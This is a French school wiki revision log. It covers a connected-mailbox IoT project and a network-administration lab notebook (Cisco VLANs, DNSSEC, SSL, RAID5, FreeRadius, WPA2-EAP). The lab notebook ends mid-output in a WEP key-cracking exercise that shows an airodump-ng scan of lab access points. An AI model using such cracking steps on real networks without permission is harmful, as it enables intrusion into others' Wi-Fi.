l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi<br /> * Puce LoRa pour Raspberry<br /> * Module µ-controleur + antenne LoRa<br /> * 10 LED infrarouges<br /> * 10 récepteurs infrarouges<br /> * 1 capteur de luminosité<br /> * 1m de tube en pvc<br /> * contreplaqué pour la découpe de la boîte.<br /> * Beaucoup de fierté pour assumer le vol d'idée<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:IoT.png&diff=36678 2017-01-03T10:37:24Z

<p>Rruet : </p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36664 2017-01-03T10:19:10Z

<p>Rruet : /* Choix techniques */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi<br /> * Puce LoRa pour Raspberry<br /> * Module µ-controleur + antenne LoRa<br /> * 10 LED infrarouges<br /> * 10 récepteurs infrarouges<br /> * 1 capteur de luminosité<br /> * 1m de tube en pvc<br /> * contreplaqué pour la découpe de la boîte.<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36647 2017-01-03T10:06:04Z

<p>Rruet : /* Choix techniques : matériel et logiciel */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Choix techniques====<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36645 2017-01-03T10:04:25Z

<p>Rruet : /* Description du projet */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Choix techniques : matériel et logiciel====<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36634 2017-01-03T09:45:26Z

<p>Rruet : /* Description du projet */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> ====Choix techniques : matériel et logiciel====<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36631 2017-01-03T09:44:47Z

<p>Rruet : /* Description du projet */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> - Un qui détectera l'ouverture de la trappe <br /> - L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> ====Choix techniques : matériel et logiciel====<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36620 2017-01-03T09:37:56Z

<p>Rruet : /* Objectif du projet */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> ====Description du projet====<br /> <br /> ====Choix techniques : matériel et logiciel====<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36616 2017-01-03T09:35:14Z

<p>Rruet : /* Contexte */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> <br /> ====Description du projet====<br /> <br /> ====Choix techniques : matériel et logiciel====<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36610 2017-01-03T09:32:52Z

<p>Rruet : /* Présentation générale du projet */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté.<br /> <br /> <br /> ====Objectif du projet====<br /> <br /> <br /> ====Description du projet====<br /> <br /> ====Choix techniques : matériel et logiciel====<br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=36604 2017-01-03T09:30:24Z

<p>Rruet : Page créée avec « ==Cahier des charges== ===Présentation générale du projet=== ====Contexte==== ====Objectif du projet==== ====Description du projet==== ====Choix techniques : matérie... »</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> <br /> ====Objectif du projet====<br /> <br /> <br /> ====Description du projet====<br /> <br /> ====Choix techniques : matériel et logiciel====<br /> <br /> <br /> ==Étapes du projet==</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Option_Internet_des_objets_2016/2017&diff=36600 2017-01-03T09:28:55Z

<p>Rruet : </p> <hr /> <div>== Projets ==<br /> <br /> == Répartition des binômes ==<br /> <br /> Ecrivez vos noms sous le format exact &quot;Prénom Nom&quot;, séparez vos noms par des virgules.<br /> <br /> {| class=&quot;wikitable&quot;<br /> ! Projet !! Elèves<br /> |- <br /> | [[Projet IdO 1 2016/2017|Titre du projet 1]] || Prénom1 Nom1, Prénom2 Nom2, Prénom3 Nom3<br /> |-<br /> | [[Gant de Boxe connecté]] || Stéphane MAIA, Romuald LENTIEUL<br /> |-<br /> | [[Fleur de clown connectée]] || Thibault Malherbe, Thibault Giordan<br /> |-<br /> | [[Boîte aux lettres connectée]] || Loïc Delecroix, Romain Ruet, Julien Joignaux<br /> |}</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35930 2016-12-12T11:19:45Z

<p>Rruet : /* Création du serveur d'authentification FreeRadius */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :<br /> <br /> cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key<br /> cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt<br /> cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)<br /> <br /> On effectue ensuite un rehash des certificats :<br /> <br /> c_rehash /etc/ssl/certs<br /> Doing /etc/ssl/certs<br /> bielloumutherfucker.space.crt =&gt; 6860aa7d.0<br /> bielloumutherfucker.space.crt =&gt; 5692355e.0<br /> ssl-cert-snakeoil.pem =&gt; a036afff.0<br /> ssl-cert-snakeoil.pem =&gt; 4390636f.0<br /> GandiStandardSSLCA2.pem =&gt; 8544bf03.0<br /> GandiStandardSSLCA2.pem =&gt; e279a80b.0<br /> <br /> On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available :<br /> <br /> #NameVirtualHost *:443<br /> &lt;VirtualHost 193.48.57.167:443&gt;<br /> ServerName www.bielloumutherfucker.space<br /> ServerAlias bielloumutherfucker.space<br /> DocumentRoot /var/www/html/<br /> CustomLog /var/log/apache2/secure_access.log combined<br /> <br /> SSLEngine on<br /> SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt<br /> SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key<br /> SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br /> SSLVerifyClient None<br /> &lt;/VirtualHost&gt;<br /> &lt;Directory /var/www/html&gt;<br /> Require all granted<br /> &lt;/Directory&gt;<br /> ServerName &quot;bielloumutherfucker.space&quot;<br /> <br /> Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :<br /> <br /> Listen 80 443<br /> &lt;IfModule ssl_module&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> &lt;IfModule mod_gnutls.c&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> <br /> On doit ensuite autoriser apache à utiliser son module ssl : <br /> <br /> a2enmod ssl<br /> <br /> Puis on autorise notre site à utiliser ssl :<br /> <br /> a2ensite 000-bielloumutherfucker.space-ssl.conf<br /> <br /> Ensuite :<br /> <br /> service apache2 restart<br /> service apache2 reload<br /> <br /> Maintenant, lorsqu'on se connecte sur notre site avec le préfixe &quot;https://&quot;, le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.<br /> <br /> [[Fichier:ssl.png]]<br /> <br /> ===Sécurisation des données===<br /> <br /> Nous commençons dans un premier temps à créer trois partitions via les commandes suivantes :<br /> <br /> lvcreate -L 1G -n /dev/virtual/ironman-1 -v<br /> lvcreate -L 1G -n /dev/virtual/ironman-2 -v<br /> lvcreate -L 1G -n /dev/virtual/ironman-3 -v<br /> <br /> Puis nous modifions notre fichier de configuration de machine virtuelle Ironman.cfg en y ajoutant les trois lignes suivantes dans la partie '''disk''':<br /> <br /> 'phy:/dev/virtual/ironman-1,xvdd,w',<br /> 'phy:/dev/virtual/ironman-2,xvde,w',<br /> 'phy:/dev/cirtual/ironman-3,xvdf,w',<br /> <br /> A partir de ce moment là, on relance notre machine virtuelle, puis on y installe le paquet mdadm.<br /> <br /> Nous créons ensuite le volume /dev/md0:<br /> <br /> mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf <br /> <br /> On affiche ensuite la configuration actuelle de /dev/md0:<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 3<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 16:52:21 2016<br /> State : clean <br /> Active Devices : 3<br /> Working Devices : 3<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 0<br /> Number Major Minor RaidDevice State<br /> 0 202 48 0 active sync /dev/xvdd<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> On sauvegarde ensuite la configuration de md0 :<br /> <br /> root@Ironman:~# mdadm --detail --scan &gt;&gt; /etc/mdadm/mdadm.conf<br /> <br /> Puis nous créons un dossier /datamd0 que nous montons sur notre device md0 :<br /> <br /> root@Ironman:~# mkfs /dev/md0<br /> root@Ironman:~# mkdir /datamd0<br /> root@Ironman:/datamd0# mount /dev/md0 /datamd0/<br /> <br /> <br /> Nous pouvons ensuite créer un fichier de test sur le raid 5 (iron-man.txt):<br /> <br /> root@Ironman:/datamd0# ls<br /> lost+found test_ironman.txt<br /> <br /> On ferme ensuite notre machine, puis nous modifions son fichier .cfg afin qu'elle ne prenne plus en compte la partition xvdd (on commente la ligne). <br /> Nous relançons ensuite la machine virtuelle, puis nous réaffichons la configuration de md0 :<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 2<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 17:05:13 2016<br /> State : clean, degraded <br /> Active Devices : 2<br /> Working Devices : 2<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 6<br /> Number Major Minor RaidDevice State<br /> 0 0 0 0 removed<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> <br /> On constate bien que la partion xvdd a été enlevée. Et que le fichier de test sur le raid est toujours présent :<br /> <br /> root@Ironman:~# ls /datamd0/<br /> lost+found test_ironman.txt<br /> <br /> ===Création du serveur d'authentification FreeRadius===<br /> <br /> Dans un premier temps, nous avons installé le paquet freeradius sur notre machine :<br /> <br /> root@Ironman:~#apt-get install freeradius<br /> <br /> Puis nous modifions le fichier de configuration des utilisateurs de serveur, /etc/freeradius/users, en y ajoutant le notre :<br /> <br /> user_name Cleartext-password := &quot;wanted_pswd&quot;<br /> <br /> On modifie ensuite le fichier de configuration des clients, /etc/freeradius/clients.conf, en y ajoutant les différents points où nous connecterons :<br /> <br /> client E304 {<br /> ipaddr = 10.60.1.6<br /> secret = mdp<br /> }<br /> <br /> client E306 {<br /> ipaddr = 10.60.1.2<br /> secret = mdp<br /> }<br /> <br /> client vlan8 {<br /> ipaddr = 10.60.8.0<br /> secret = mdp<br /> }<br /> <br /> <br /> ===Sécurisation wifi par WPA2-EAP===<br /> <br /> Nous allons maintenant configurer les points d'accès afin de les rendre accessibles avec nos identifiants et mot de passe configuré sur notre serveur freeRadius. On se connecte à la borne en E306 par exemple :<br /> <br /> telnet 10.60.1.2<br /> <br /> Puis on passe à la configuration :<br /> <br /> enable<br /> <br /> conf t<br /> <br /> aaa new-model<br /> aaa authentication login eap_ironman group radius_ironman<br /> radius-server host 193.48.57.167 auth-port 1812 acct-port 1813 key mot_de_passe<br /> aaa group server radius radius_ironman<br /> server 193.48.57.167 auth-port 1812 acct-port 1813<br /> exit<br /> <br /> dot11 ssid ironman<br /> vlan 8<br /> authentication open eap eap_ironman<br /> authentication network-eap eap_ironman<br /> authentication key-management wpa<br /> mbssid guest-mode<br /> exit <br /> <br /> interface Dot11Radio0<br /> encryption vlan 8 mode ciphers aes-ccm tkip<br /> ssid ironman<br /> exit <br /> <br /> interface Dot11Radio0.8<br /> encapsulation dot1Q 8<br /> no ip route-cache<br /> bridge-group 8<br /> bridge-group 8 subscriber-loop-control<br /> bridge-group 8 spanning-disabled<br /> bridge-group 8 block-unknown-source<br /> no bridge-group 8 source-learning<br /> no bridge-group 8 unicast-flooding <br /> exit<br /> <br /> interface GigabitEthernet0.8<br /> encapsulation dot1Q 8<br /> bridge-group 8<br /> exit<br /> <br /> exit<br /> <br /> On refait la même chose pour le point d'accès en E304.<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 